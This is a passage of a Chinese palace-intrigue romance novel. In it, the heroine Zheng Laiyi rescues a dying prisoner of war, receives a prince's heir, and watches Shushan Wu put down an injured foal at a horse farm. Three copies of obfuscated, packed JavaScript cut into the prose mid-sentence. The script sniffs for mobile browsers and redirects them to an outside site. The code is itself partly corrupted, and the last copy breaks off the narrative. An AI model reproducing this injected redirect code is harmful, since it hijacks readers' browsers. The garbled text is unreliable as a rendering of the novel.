“今日国公爷莅临,蓬荜生辉,招待不周之处还多见谅,改日登门拜访。” 郑远持一脸亲和的笑意:“王爷客气,一定要来,带着公子们一起。” 容氏闻言似被鼓舞,冲着登车的国公夫人和小姐连连招手。她身后,叔山柏长揖到地,如玉姿容无半点瑕疵。 “王爷王妃慢走。” 叔山梧抱着手臂,背靠朱门,与门口热络交谈的人隔着一段距离,廊下的灯火打在他身上,愈发显得那一身黑色与此情此景格格不入。 他的视线停在阶下。那一袭湖蓝色的人影在强撑的笑脸、客套的言语中一闪而过,登上了马车。 如同潮热的夏夜里一记醒神的凉风,吹过便再无踪影。 李砚卿登上马车,见女儿郑来仪正在车厢内,靠着板壁阖着眼,似是累极了。 “身子不舒服,还非要过来,”她拉过郑来仪的手,将她扯到身边些,给身后的绵韵让让位置,“——也没见你吃些什么,到底是过来干什么的?” 郑来仪睁眼,“不合口味,所以就没吃多少——想你们了,不想一个人待着不行么?” 李砚卿定定地看着自己女儿,她今夜实在反常,却一时看不出端倪,按着来仪绵软的掌心,故意叹气,“行,行,女儿大了,有事也不和母亲讲了……” “我没有——” 郑来仪看见李砚卿姣好的妆容下难遮的岁月痕迹,突觉心酸,靠在了母亲的胸口,“母亲,早上我去射金门送舅舅了……” 李砚卿一怔,随即意识到女儿今日突然改变主意来寻他们,或许是因为和亲人分离后觉得孤单。有时候看她似乎长大了,其实只是错觉。 她拍了拍女儿的肩,“好孩子,和舅舅说什么了?” “我给他送了一壶椒浆,然后让他多加小心。” 李砚卿笑着刮了刮郑来仪的鼻子,“懂事了,会叮嘱长辈了。舅舅会记得的。” 郑来仪埋在母亲胸口,喃喃着:“我是真的担心舅舅,槊方节度比起以前在淮南做防御使,可是要紧得多,况且北境苦寒,关外和关内如同两个世界……” “我知道霁阳一事,你亲身经历其中,对舅舅的做法有不解。” 李砚卿了然地一句,感觉怀中的女儿呼吸放轻了。 “他也是带兵多年,自己有分寸,战场形势波谲云诡,有些时候也是不奈何……” “我只是不懂,为什么有的人就敢果断出击,有的人包袱就那么重。” 郑来仪的语气有些冷。成王败寇,有时候就只差那么毫厘之分。 李砚卿心念一动,意识到她在说的果断出击的人指的是谁。 “我还没问你,今日怎么会和那叔山家二郎一起过来,你认识他?” 郑来仪暗自叹气,事已至此,大概所有人都知道叔山梧的来历了。 “是,上回在鹤臯山遇到过——爹爹怎么还不上车?” 她掀开车帘,只见叔山寻将郑远持拉到了一边,二人面色严肃,正在说些什么。倘若平常,她必要出声催了。此刻只是放下车帘,气闷地坐回去。 “白天陪舅舅喝了些酒,方才席上又喝多了,这会头好晕啊……” 李砚卿看出女儿不欲多说,便拉过人来,让她的头枕在自己膝上,轻缓地抚过她脸颊。 “那便休息会吧。” - 天气一日比一日炎热,街道上随处可见汗如雨下的脚夫和商贩,架在阴凉处的茶棚生意愈发好了,而自带冰窖的大户人家日子则好过得多,足不出户就有解暑的办法。 水榭中,郑来仪一身轻纱便裙,趴在六角形的石桌上,手里捏着一把银匙,一小勺一小勺地舀着面前琉璃盏里的酥山吃。 后厨按着姑娘们的口味研究出了新式的解暑方子:将各色时令鲜果压成汁子,连同干果仁浇在冰上,酸甜兼有脆香的口感。 紫袖坐在来仪后面,也轻摇着手中的扇子,口中嘟囔着:“早上去凌阴1取冰,说是今年冰紧俏得很,往年这个时候,陛下都要给咱们府里颁冰的,怎么今年还没动静呢……” 郑来仪坐正了些。上一世,玉京度过了一个有史以来最炎热的夏天。那一年夏末,怀光帝便突发恶疾,薨于新历的第一个年头。 “叮”一声清脆响动,她将银匙扔回琉璃盏,突然站起身来。 “小姐,你这是——” “父亲什么时候下朝?” “这几日时辰都不固定——怎么了?” “备马,我去接他!”郑来仪快步出了凉亭。 行至隆福门外,郑来仪翻身下马。正逢羽林卫副将常城在宫门外带值,见是她,便迎上前来:“四小姐,怎么来这里了,等国公爷么?” 郑来仪面上带笑,脆生生地答应:“是呢常将军,父亲说今日散朝后带我去看柘枝舞,我看时辰差不多,便来这里迎他!” 常城见这娇滴滴的国公小姐满脸兴奋,一脸的严肃也不由得柔和几分。语气却是犹豫的:“可是,今日议事恐怕一时半会结束不了呢……” “真的么?可是父亲早就答应好的,怎么会这样……” 见郑来仪一时面露失望神色,常城便压低声音道:“四小姐有所不知,这几日御前所议事项十分要紧,左仆射大人也结束告病归朝,各道主事官员都进京随时等候传召,国公爷总领议事,应当是走不脱的……” 他说到这里,面色隐晦,还有一层不便说出口的原因,便是怀光帝的身体状况。 入夏之后,圣人的身体一天不如一天,往日昊天观进献的丹丸服下去便能当即见效,这一回,却是药石罔效,如何也不见起色。宫中的奉御也是急得束手无策。 郑来仪转过头,看城门外不远处静待接送自家主人的车马,首当其冲的车马队伍威严华贵,一看便是亲王卤簿。 她心中了然,转过头对常城不无落寞地道:“来仪知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318386|138619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,多谢常将军,那我这便先回去了。” 常城点头,招手唤来宫人服侍郑来仪上马,对着马上人一抱拳,笑道:“四姑娘慢走,等国公爷忙完了,再陪您不迟!” 郑来仪挤出一丝笑意,勒马转头,沿着万祀大街南向而去。 她一人骑马,步速不快,手中缰绳松松握着,心中在想事情。那宫门外的唯一亲王卤簿,应当便是如今把守中州的舜王的仪仗。 前世怀光帝病故后,皇位便是传给了这位手握重兵的胞弟。舜王李肃比起虢王李澹,显然更有城府。李氏宗亲中兄弟不算少,当年皇位继承人并非没有争议,野心勃勃盘踞一方掌握兵权者不乏其人,而李肃即位后却很快便平稳地实现了过渡,一时坐稳了江山。 她皱着眉,记得舜德帝登基之时,叔山氏便是从龙的功臣之一。眼下她只是拖慢了叔山氏的脚步,真正的隐患却从未消除。 叔山寻越是谨小慎微知进退,郑来仪越是难以放心。自己的力量和手段,还是太过有限了。 不知不觉间,信马来到闹市中,人声愈发熙攘,异族的语言夹杂其间,郑来仪的思路终于被打断。 她一抬头看见“纳川货栈”四个字,索性翻身下马,准备找康纳川把匕首要回来。 掌柜的看见郑来仪,满脸堆笑地迎上来。 “四小姐,我们老板去了码头,您看是等一等,还是改日——” 郑来仪将缰绳往人手里一递,“无妨,我不赶时间,就等等他吧。” “好嘞!” 掌柜亲自带着人往后面走,“——今日店里人多,刚进了一批蛮子,味道有些重,您往这边走,别熏着了……” 郑来仪踏进了内院。康纳川这货栈占地很大,内院十分宽敞。角落里堆的都是大件的货物,诸如家具、器物,甚至还有一尊等身高的紫檀木千手观音,仪态端方,衣饰却带着浓重的西域色彩,还有的货物被毡布盖住了,看不清是什么。 空气中充斥着各式香料混杂的浓重味道,她举起团扇掩住鼻子,正欲随那掌柜的踏入东边单独辟出的雅间,视线突然定在了院子的另一头。 那是一间门扇大敞的屋子,饶是光天化日中,那屋子却是黑洞洞的,隐约可见尽头的地面上,靠坐着一个人,垂着头,一双修长的腿伸开来,衣衫褴褛,从膝盖往下几无布料弊体。 掌柜的察觉郑来仪停下脚步,顺着她视线看过去,便道:“舜王刚刚打了胜仗,边境带回来一批战俘,录过黄册之后便送了一批到我们这里来,这一个是从图罗过来的,应该是不大行了……” “不行了?” “唉,送来的时候精神就不大好,后来才发现是身上生了疽痈,约莫是在战场上受的伤,不中用了。” 图罗人素以悍勇善战闻名,是以图罗战俘也较其他的吃香一些。大户人家挑中买走后,作府兵或护卫,或是有钱的老板买来作家丁打手,一般都能卖个不错的好价钱,眼前的这个年纪不大,身高腿长的,本来品相不错,可惜错了眼,没发觉身上带着伤病,这下还要雇人拉他去乱葬岗,实在得不偿失。 掌柜的正一脸嫌弃,突见郑来仪调转方向,朝西头的空屋走了过去,连忙快步跟上。 他一叠连声地劝郑来仪:“小姐,可别靠太近了,那蛮子身上味道冲,把病气过给您不得了!” 郑来仪恍若未闻,抬脚迈进屋内,血腥气带着腐败的味道扑鼻而来,她却面色未变,在那靠墙坐着的人影前站住了。 靠坐着的人抬起头来,郑来仪借着外面的日光看清了,这人凌乱的一头黑发下是一张少年气十足的脸,颧骨和眉弓高耸,眉毛浅淡。饶是伤重,犀利的眼神仍然带着股韧劲。 “你叫什么名字?” “戎赞,我叫戎赞。”少年气息微弱。 “戎赞……” 郑来仪低声念这名字。 她无论如何忘不记这张脸。 前世第一次见到这个叫戎赞的少年,是叔山梧某次征战后回城,这少年便在他带回的战俘队伍中,受了很重的伤,杀气却依旧蓬勃,趁人不备夺了刀冲出重围,还险些挟持了自己。 最后还是被叔山梧所收伏,最终成了他的翊卫。 19. 骈死于槽枥 戎赞再没说话,似乎浑身力气已经用尽了。 “可惜了,这小子汉话说得挺流利,身手也利落得很,若不是生了病,肯定能买个好价……”掌柜的站在郑来仪身后,不无惋惜地道。 郑来仪蹲下身来。 “戎赞,听得见我说话么?” 少年一动不动,胸口也看不出起伏。 “估计是死了……”掌柜的满脸晦气,正欲喊人来抬,戎赞突然竭力抬起了头,靠坐的身体猛地坐直了。 “图罗人……只能死在战场上,就这么死太……窝囊了!……戎赞不能这么死……” 他的眼神中一瞬间燃起了光,如风中摇曳的烛火,一点微茫的力道,却似扑不灭。 “这条命我买了。”郑来仪站起身。 掌柜的一脸愕然,好意劝说道,“姑娘,您别冲动,这一个伤势太重,是真的不中用了,你看他糊里糊涂的,已经神志不清了……” 郑来仪从头上拨下一支鎏金碧玉的百不知,扔到掌柜的怀里。 “把人给我抬到雅间,给他找一身干净衣服,再去保善堂请大夫过来。” 掌柜的看她语气认真,那一只沉甸甸的百不知压在手里,当下只好应是,连忙喊人来抬。 戎赞的疽痈生在后背,搬动时只能面朝下放在榻上,脓水溢出伤口,一时间熏着香的屋子里都被肉身腐烂的味道充斥。掌柜的掩着鼻子,眉头紧皱,可郑四小姐一直面色严肃地守在这里,他又不敢轻易离开。 郑来仪看着戎赞惨不忍睹的后背,目光幽沉。 前世那人背上也受过这样的伤。那时她与叔山梧困于险境,男人沉着声音,冷静地教她如何用药,如何处理伤口。她一边颤抖着手,举着刀,按照他的指示去划开皮肉,引出脓水,止不住的泪水落在可怖伤口里,想象着他难忍的疼痛,隐隐啜泣,他却语气寻常地说没感觉,催她再快些。 她还记得叔山梧说过,疽伤五藏筋髓,需要尽早医治,“脓已成,十死一生”。戎赞的背疽情况恶劣,真要花大功夫在这样一个奄奄一息、未必能救得活的俘虏身上,任人都会觉得这笔交易不够划算。 可郑来仪并非全无私心,甚至可说,她救戎赞,只是看中了他在绝境中露出的那一丝不甘就死、奋力求生的狠劲。 今日的她能共情这样的求生意志,更迫切需要这样的狠厉为自己所用。 传说图罗人忠诚善战,效忠一人便终生不负,而此时的她恰恰需要这样的投诚。前世他能那般效忠于叔山梧,今生便可以一样效忠于自己。 郑来仪借康纳川的货栈让戎赞连住了一个月,八珍汤、玉露散各种灵丹妙药灌下去无数,终于将一条人命救了回来,便将人接入了王府。 戎赞仅仅十三岁,个头却比府中大多数近卫都要高,他做事认真利落,功夫也不错,只听从郑来仪一人的指令。府里的人只当四小姐自南下遇险之后一朝被蛇咬,往后只要一出门,便由这小子寸步不离地跟着,长辈们倒也安心不少。 不那么开心的也就紫袖一人。她以往是郑来仪的贴身心腹,可戎赞一来,有时小姐甚至会单独交给戎赞什么任务,连自己都毫不知情,心中不免泛酸。 这日见戎赞从外面回来,行色匆匆往东院里走,紫袖便唤住了人:“小子,姑娘在前面,有客人来。” “喔。” 戎赞乖乖站住了脚步。 紫袖上前,见他袖中鼓鼓囊囊的,便好奇问:“拿的是什么?” 戎赞看她一眼,警觉的语气:“是阿姐的东西。” 紫袖没好气:“什么阿姐,没大没小,这么久了还没改过来,你该喊‘小姐’!” “……是小姐的东西。” 紫袖撇了撇嘴,不再追问,眼神却不住往他袖笼中瞥,隐隐看见雕镂花纹的手柄。 戎赞察觉她眼神,身体微微侧了侧,十分戒备的样子。 紫袖被他这副样子弄得心头火气,撅起嘴嘟囔着:“有什么了不起,等姑娘嫁人了,我还是会跟着的,你这小子可就不一定……” 戎赞一愣,下意识脱口:“阿——小姐要嫁人了?” “不然呢?难道一直待在府里?” 紫袖揣摩着,“平野王妃这几日常来找夫人说话,还总是问起小姐,恐怕是那日小姐去过烧尾宴,就入了王妃的眼了——叔山氏算是玉京新贵,又是平叛英雄……” “平野郡王?”戎赞浓眉高高扬了起来。但凡情绪波动时,他的图罗口音总会不受控制的冒出来。 “对啊。” “不可能的。”戎赞的声音又落回寻常声调,语气笃定不疑。 “怎么不可能?”这一回轮到紫袖扬起了声音。 戎赞只是摇头,再不说话。 小姐是对平野郡王府感兴趣,她让自己关注着王府的一举一动,尤其是与边镇军将和胡人之间的来往。 她的原话是:看他们是否在暗中勾连,企图谋反。 戎赞初时没有领会,反问了一句:谋反? 郑来仪看着他,耐心的语气:“你和我说过,在你的故乡逻娑川经历过一场叛乱?” 少年黑白分明的眸子渐渐现出颖悟的神色。从此就把平野王府视作了与执矢部一样的恶人——他们勾结周围部落、杀死延陀部的首领,带着外人烧毁了逻娑川以东的草场,将同胞如羔羊一般屠戮。 这样的人家,小姐是不会与之为伍的。 他的袖中,还藏着小姐让他取回的东西——据说是从叔山家得来的一把式样奇特的龙鳞匕首。 康纳川在一本记载着西域异族传奇的残卷中,找到了那匕首手柄上的纹样。它来自大漠中一个已经陷落的古国——漪兰,匕首手柄上雕刻着的六瓣顶冰花便是漪兰的国花。 小姐没有猜错,看来叔山氏果然和关外的胡人有联系,这一把龙鳞匕首便是证明。 - 前厅内,郑远持正在亲自接见上门拜会的客人。 本来这样的场合来仪是不宜出面的,无奈来的客人主动提及了她,称“许久不见,甚是想念”,郑远持只好着人去请。 郑来仪已被事先通报过,走进花厅时便有了心里准备。可当看见身披锃亮铠甲,英姿昂然的李德音,心下还是难免吐槽:这种天气里全副武装,也不嫌热。 “世子,许久不见。” 李德音立即起身,朝着她快步过来:“椒椒,终于见到你了!” 郑远持的声音在身后响起:“世子随王爷就藩岭南,趁着王爷回都叙功,总算能回家一趟。” 郑来仪心中明白,舜王这一次回都,绝不仅仅是叙功那么简单:“世子在青州一向可好?” “好!青州比起岭南气候爽利得多,多谢椒椒关怀!”李德音看着郑来仪的眼神亮晶晶地,嘴角始终没有放下来。 “岭南瘴气重,又多蛮夷,听闻就连王爷在岭南就任期间都落下病根,这次能重回中原,王妃怕是终于能放心了。” “是呢,母亲也很想你,椒椒。”李德音的声音不自觉柔和下来。 他对郑来仪的好感明目张胆,全天下都能看得出来。二人从小便是玩伴,十二岁时李德音随着父亲李肃离京就藩,从此与国公府往来便少了许多。 然郑来仪自始至终只把李德音当做兄长,从无半分男女心思。 前世舜王登基,李德音即位太子,东宫请封太子妃的仪官刚到国公府门口,便得知四小姐已与元帅府的二公子定了亲。李德音心有不甘,与叔山梧于朝堂上几番较量,却一直落于下风。 直到最后,紫宸宫被叔山梧攻陷,乱世中登基不满二十日的李德音吊死在翙羽阁。 郑来仪看着眼前的李德音,目光中带了几分悯然:“世子随着王爷,这一回预备在玉京待上多久?” “陛下召父王回京议事,一时半会离不开,喏——现在还在宫里没有出来,我便先求着姑父带我来看看你,过几日我就要先回青州了。” “这么着急?” 李德音的面上一瞬闪过骄傲的神色:“陛下交了要紧的任务给我,不急不行。” “是什么任务这么紧要?” 郑来仪好奇地问,却听郑远持不轻不重地咳了一声,意识到朝廷事涉机密,她是不该多问的。 李德音却毫无对郑来仪隐瞒的心思:“朝廷与叛军对抗八年,战马消耗巨大,如今陇右牧场放养的良马不足五千,陛下十分忧心,特别将此事交给了我。” 郑来仪点了点头:“战马乃国之武备,关系国家危亡,陛下将此事交给你,足以看出对你的信赖。” 郑远持冷静点评道:“世子这件差事不好做,陛下已经批准下诏,批准与六胡州市马——胡人性狡,见利即前,与他们打交道需得倍加小心。” 李德音笑着道:“姑父不必担心,父王在青州已经建起了马场,今年图罗、沮渠,还有西边的康国和鹘国都送来了贡马,其中不乏品系优良的种马,我们要在青州的马场择种选育,未来规模不会比陇右牧场小!” 说着朝郑来仪眨了眨眼,“如今青州马场汇集了来自各国的良马,我们还专门请来了驯马和育马的异族师傅,椒椒要不要随我一同去看看热闹?” 郑来仪有些心动。这阵子或许是思虑过多,总感觉做什么都提不起劲,让戎赞监视平野郡王府的动向,也并未发现太大的异常。至于叔山梧,自烧尾宴王府一别,便再无音讯。 玉京入了暑天越发难熬,出去散散心也不错。况且,青州汇集了异族派遣的使者,去一趟马场,或许会有意外的收获。 “父亲……” 郑远持看出了女儿的心思,颇感无奈:这丫头,南下遇险过去还没有多久,这便好了伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336476|138619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疤忘了疼,又想着出门了。 他看一眼李德音,最终还是道:“你问问你母亲,她若是同意我也——” 郑来仪笑了起来:“阿耶都同意了,母亲定然不会反对的。” “带好人,让那个小子,叫什么的——戎赞,也跟着你……” 李德音的兴奋神色比一旁的郑来仪更甚,拍着胸脯担保,“姑父放心,有我在,定不会让椒椒出任何事情!” - 舜王世子的车队浩浩荡荡过了东都,进入河南抵达青州界内。郑来仪不愿继续憋在车厢中,于是弃车登马,要呼吸外面的空气。 她带着顶帷帽,一身丁香紫的折枝花高束胸长裙泻至脚边,臂弯间长纱随风飘逸,信手持缰,遥遥领先在队伍最前,阖着眼微仰着上半身,姿态闲适而享受。 李德音驾着匹健美的黑色大宛驹,稍稍落后郑来仪两步,看着前面人自在的姿态,满眼都是恋慕的笑意。随从看着这郎才女貌的二人,都乖觉地放慢速度,任世子爷和四小姐二人拉开了距离。 青州濒临东海,皇家马场便建在青州城郊,马场外围还专为各国使者修建了驿馆,舜王世子新落成的别院也距离此地不远,大有要将圣人的旨意用心完成的势头。 “世子爷这别院果然气派。” 郑来仪坐在马上,停在李德音的别院门口,仰头看着高耸的院墙,六根合抱粗的乌丝檀木撑起门廊,站在门外便能闻到木材特有的芳香气味。 “这是父亲从岭南卸任时滕经略送的,一路北上经过陆路水路,经过两个月余方才运到这里。” 郑来仪点点头,心道这岭南五府经略果然会做人,抱住了舜王的大腿,往后前途不可限量。 “先进去歇息一下么?” “不了,方才驿馆歇了一阵,这会一点也不累。直接去马场看看世子爷驯养的良驹吧!” 李德音笑着答应,转头示意车队安顿下来,与郑来仪二人调转马头,往牧场方向去。 舜王常驻东都,麾下的部队半数屯驻青州,在此地筑城、屯兵、养马。马场位于青州西南方向磐龙岭北麓的一片草原,地势开阔,向东百里便是东海之滨。正值暑热时节,这里的气候却是凉爽适宜,让人不由得心情一振。 二人骑着马,并排走在一望无垠的草场上。 “这马场如今有多少匹战马?” 李德音口气不无骄傲:“奚族人离这里最近,来往也相对频繁,买年均有朝贡,有时一年会来好几次,算起来这里养的大多是奚族进贡的战马,约有七八千匹。” “对了,上月沮渠使者带着一百八十匹骏马前来朝贺,也养在这里,他们的良马品种优异,这回父王入都,带去了六匹汗血宝马献给陛下,陛下很是喜欢……” 他伸臂指向不远处的一片棚屋,“前面便是马舍,一会椒椒可以亲自感受一下!” 二人在马舍前下了马,还未踏入内,便听得里面传来哀嘶声。快步走进马舍,只见马圈边围了三四个红发碧眼,身着异服的胡人,正面有难色,叽里咕噜地不知在说些什么。看样子便是前来献马的使者。 “齐舆,怎么回事?”李德音扬声问。 那几个胡人见世子驾到,连忙让开,露出中间包围着的一个矮个中年男人,带着展脚幞头,一身绛色官服。 看来这齐舆便是青州马场的牧监。 齐舆朝李德音叉手行礼,愁眉苦脸地道:“禀世子爷,是马场新育出的一匹沮渠幼马……” “好事啊!这般哭丧着脸作甚么?” 李德音的视线越过那几个垂头丧气的胡人,落在马圈中一匹栗色小马身上。那马儿的头不停地来回晃动着,显然十分焦躁。 “……今早放牧回来,便发现这幼马走路姿态有些瘸,检查完才发现,左前腿似乎是折断了……” 李德音皱眉:“折断了?那、那便治啊!” 郑来仪听到这里,突觉不安。 齐舆支支吾吾:“——下官也是这么想,只是这沮渠马十分娇贵,下官怕耽误了病情,便请来沮渠使者商量,只是他们看似也是十分为难……” “他们怎么说?——你,说说看!” 李德音伸手点中站在最前面的一名沮渠使者,那使者战战兢兢地上前,口称“世子”按照中原的规矩恭敬行了一礼,而后便用蹩脚的中原话解释起来。可说了没两句便感觉吃力,开始手舞足蹈地笔划,其间还夹杂着晦涩难懂的异族语言。 李德音眉头皱紧,看向齐舆,想起他也听不懂沮渠话,便四下张望,似在找人。 “他的意思是,马腿受伤是治不好的,这马没用了。” 沉冷的声音响起,那匹瘸着腿的幼马身后,一个人影站起身。 郑来仪心脏骤停了半拍。 隔着人群,叔山梧缓缓望了过来,眸色如深潭。 20. 幽梦同谁近 李德音看见马后的男人,显然松了口气,语气亲热地招呼:“於渊!太好了,正找你——” 叔山梧抬手轻抚了一下幼马的鼻端,马儿硕大的头颅贴着他的掌心,发出粗重的喘息声,情绪稍稍安定。 他收回手,绕过马儿,朝着李德音略一颔首,而后对那领头的沮渠使者低声说了句什么。那使者闻言松了一口气,又面带不忍地看了一眼那幼马,便带着同伴告辞离开。 李德音依旧不解:“兄弟,你那话是什么意思?这马怎么就没用了?” “沮渠马生性好动,折疡要依靠夹板捺正、强迫它静止修养,这比躯体的痛苦更为难以忍受,几乎不可能做到。” “一只腿受伤只是开始,伤痛会逐渐转移到其余的腿上,直至瘫痪。” 叔山梧的语气寒凉。他口中骄傲敏感,奔跑是宿命的战马,让郑来仪心底暗生波澜。 他身后的齐舆沉默着,显然也认同叔山梧所说的话。 其实齐舆身为牧监,如何不懂其中道理,可养育沮渠战马非同小可,是圣上都关切的大事,冬则温厩,夏则凉庑,一应巨细不敢怠慢。齐舆不敢擅自论断病情,只能喊来沮渠使者,要从他们口中得出结论。 “这——”李德音一时说不出话来,他上前一步,欲靠近那匹受伤的马查看一番,却被郑来仪从身后拽住了。 “不可。它已经受了伤,极易受刺激,靠近会有危险。” 叔山梧目光微动,落在郑来仪拉住李德音的手上。 李德音心头一暖,伸手覆在郑来仪手背,低声:“多谢椒椒提醒。” 郑来仪不动声色地将手抽回。 李德音定定心神,再问叔山梧:“那依你之见,这幼马该如何是好?” 叔山梧锋利的薄唇紧紧抿着,手下意识停在腰间,又无声放了下去。 郑来仪心中一沉,然后便听见他沉声:“向世子借刀一用。” 李德音瞪大了眼睛:“你、你要做什么?” 郑来仪知道他要做什么,有人曾教过他,战场上的马儿,受伤后只有一种结果。 叔山梧朝他们走了过来,与她擦身而过,从李德音身边的翊卫腰间抽出了佩刀。 李德音意识到他要做什么,下意识道:“不、别——” 他惊慌地看向旁边的齐舆,“难道没有别的法子?这未免太残忍——”话未说完,他一口凉气倒吸。 刀光一寒,一声长嘶,冰凉的长刃刺进了小马的身体。 “让它活在痛苦中,就是最大的残忍。”叔山梧反手撤出染红的刀刃。 马儿缓缓倒地,细小的伤口中汩汩流出暗红色的热血,四肢犹自抽搐着。刚刚一招致命的叔山梧在马儿身侧单膝跪地,宽大的手掌按在幼马的头颅,低声絮语着什么。 没人能听懂。他说的是它故乡的语言。 马儿的鼻息变得微弱,浑圆的眼睛中光芒逐渐灰败,簌簌发抖的身体变得安静。 郑来仪咬住下唇,神色痛楚。眼前的一切冲击着她的视觉,倒地不起的马儿幻化成了前世国公府门前心脏中刀的自己。 李德音深吸一口气,转头看见郑来仪惨白的脸,连忙将她冰凉的手握住,一手带着她肩膀转过身去。 “不怕,椒椒,不怕,我们先出去,离开这里……” 幼马的尸体边,跪地的男人手盖在死去的马儿眼上,微微侧脸。余光中一双背影已经相携离去。 * “让你受惊了,都是我的错。” 李德音不无歉疚地陪着郑来仪站在温暖的阳光中,又唤人送冰饮过来给四小姐,一边温声安慰她。 “其实育马的过程中,这样的事情偶尔会发生,有时刚生下不久的小马夭折也是有的,生老病死,于马儿也是一样,不必太过在意……” 他已经从方才的场景中平静下来,想了想又道,“其实於渊做得也没错,这马儿伤势难救,一昧仁慈于它无益。只是这、也太过果决了些,叫人一时难以接受。” 郑来仪已经平静了不少,只是声音还有些发颤:“……有些人,天生容易狠得下心。或许血也比常人凉一些吧。” 李德音闻言,扬了扬眉:“你说叔山梧么?也许吧!他自小混迹在边境,见过无数生杀的人,这等果敢确是等闲人难有的!” 郑来仪听他语气,微微皱了皱眉:“世子怎会认识他?” “他是被人引荐给父王的。叔山梧从小便在军中历练,比我还小上几岁,已经是一身的战功,他善说各种夷族语言,父王便叫他来,在与胡州市马一事上助我一臂之力!” 郑来仪语气淡淡的:“青山将军果然家学渊源深厚,父辈就与胡人频频打交道,令公子也青出于蓝。” 李德音一愣,而后笑道:“你这么说,倒也没错。知己知彼百战百胜,叔山寻出自槊方,和北境蛮夷经年对垒,与沮渠图罗这些番邦算是老对手了!” 郑来仪掀眉看他一眼,缓缓道:“对手、知己,谁能说得清?与胡人斗争往来,恐怕也是你中有我、我中有你吧。” 李德音闻言沉寂了一会,而后对着郑来仪赞赏的语气:“椒椒不愧是跟着姑父长大的,所思深远,比不少男人都透彻。” 郑来仪看着李德音,知道他没听懂自己意思,便也懒得再费口舌。 李德音看她恹恹的提不起精神,便道:“今日也累得狠了,要不要先回别院休息,明日我带你骑马?” 郑来仪点头接受。 - 二更天的梆子敲过,天边响起惊雷,绵密的雨水瓢泼而至。 驿馆内院,一面半开的窗扇在风雨中被来回吹打,发出哐当哐当的响声。屋内似乎没人,可细一看,桌案上明明有朦胧烛火闪动着,从雨幕中透出一点弱不禁风的光来。 叔山梧一袭黑色深衣坐在案前,同色的罩袍披在肩上,腰带垂落,拖曳于地面。 他垂着头,额发被被汗水浸湿,蜿蜒在脸侧。领口敞着露出大片的胸肌,从脖颈到胸口一片水光,都是晶莹的汗,整个人如同从水中刚刚上岸。 冷风从开着的窗扇窜进来,将一身的汗都吹冷了。 他闭着眼,眉头蹙成川字,搭在案上的双手在微微抽搐。或许是为了抑制这不自觉的抽动,他用左手狠狠抓住了自己的右手手腕,没过多久右手便在紧固之下失去了知觉,骨节与皮肤一样死白。 他只睡了一个时辰不到,便在锐痛中惊醒了。 大多数人一旦醒来,便再难想起梦中发生过什么。而叔山梧自从霁阳一战后,每当梦醒,总能立时回忆起脑海中发生的一切,再要入睡便极为困难,一旦再次睡着,噩梦的场景便从断开的地方继续上演。 今夜他没有梦见霁阳。 白日里被他刺中心脏的马儿睁着硕大的眼睛,有泪水从眼角溢出,哀伤的目光中还有悲悯。 马儿低声哀嘶,而他能听懂。 它说,如今的你,还能再次提刀上阵么? ——阿梧,你帮我解脱了,谁来帮你呢? 马儿琉璃一般的眼睛深深凝视着他,渐渐化作一双布满血泪的女子眼睛。 她痛楚地望着自己,眼神怨毒,嘴唇翕动着似在诅咒。 这样意义不明的噩梦他已经经历了好几回,每一次都挣扎着难以抽身。 他开始尝试在梦中唤醒自己,有时手中有利器,便毫不犹豫地刺向自己;有时面前是深渊,他便会纵身下跃。 每次这样拼死抵抗着自己的潜意识,醒来时便伴随着心脏的锐痛,几乎让人无法呼吸。为了让这样的痛楚显得微不足道,他不得不去做一些其它的事,来分散自己的注意力。 叔山梧睁开眼,痛楚渐渐平息,双瞳中闪动着异样的颜色。 回想起梦里最后浮现的那双含着血泪的少女的眼睛,竟莫名让他想起了……郑来仪。 叔山梧蹙紧眉头,回想起第二次和她相遇的场景。 那一夜在长街对面站了很久,冷冷地旁观着平野王府门前车水马龙的热闹。正欲离去时,见到了一个熟悉的身影。 他鬼使神差地陪她进了王府,虽然他本来不愿在那样的日子踏入家门。偏偏又和父亲达成了一场违背初心的交易。 叔山寻早就看出李氏内部并非铁板一块,外人倒比兄弟亲的事情,古今中外都不少见。旁人举荐二郎去青州辅助舜王世子,实则正中了他下怀。 他带着叔山梧离席后,二人于无人处省略了寒暄,只交代他:“去和舜王世子处好关系,还有——拉拢好郑远持。” 叔山梧自嘲般轻笑:“我是什么货色,捉生将出身,如何能与国公爷攀上关系?” 叔山寻望着儿子桀骜的眼睛,缓缓道:“鹤皋山中,你做得不是挺不错?叔山氏对四小姐的救命之恩,郑国公府不会忘记的。” 叔山梧抿紧嘴角,一时没有说话。纵然在亲生父亲面前,他亦是一身的戒备。 叔山寻突然换了语气:“阿梧,我看你今日与她一起回来,你是喜欢这个国公府的郑小姐么?” 他那时矢口否认:“怎么可能。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 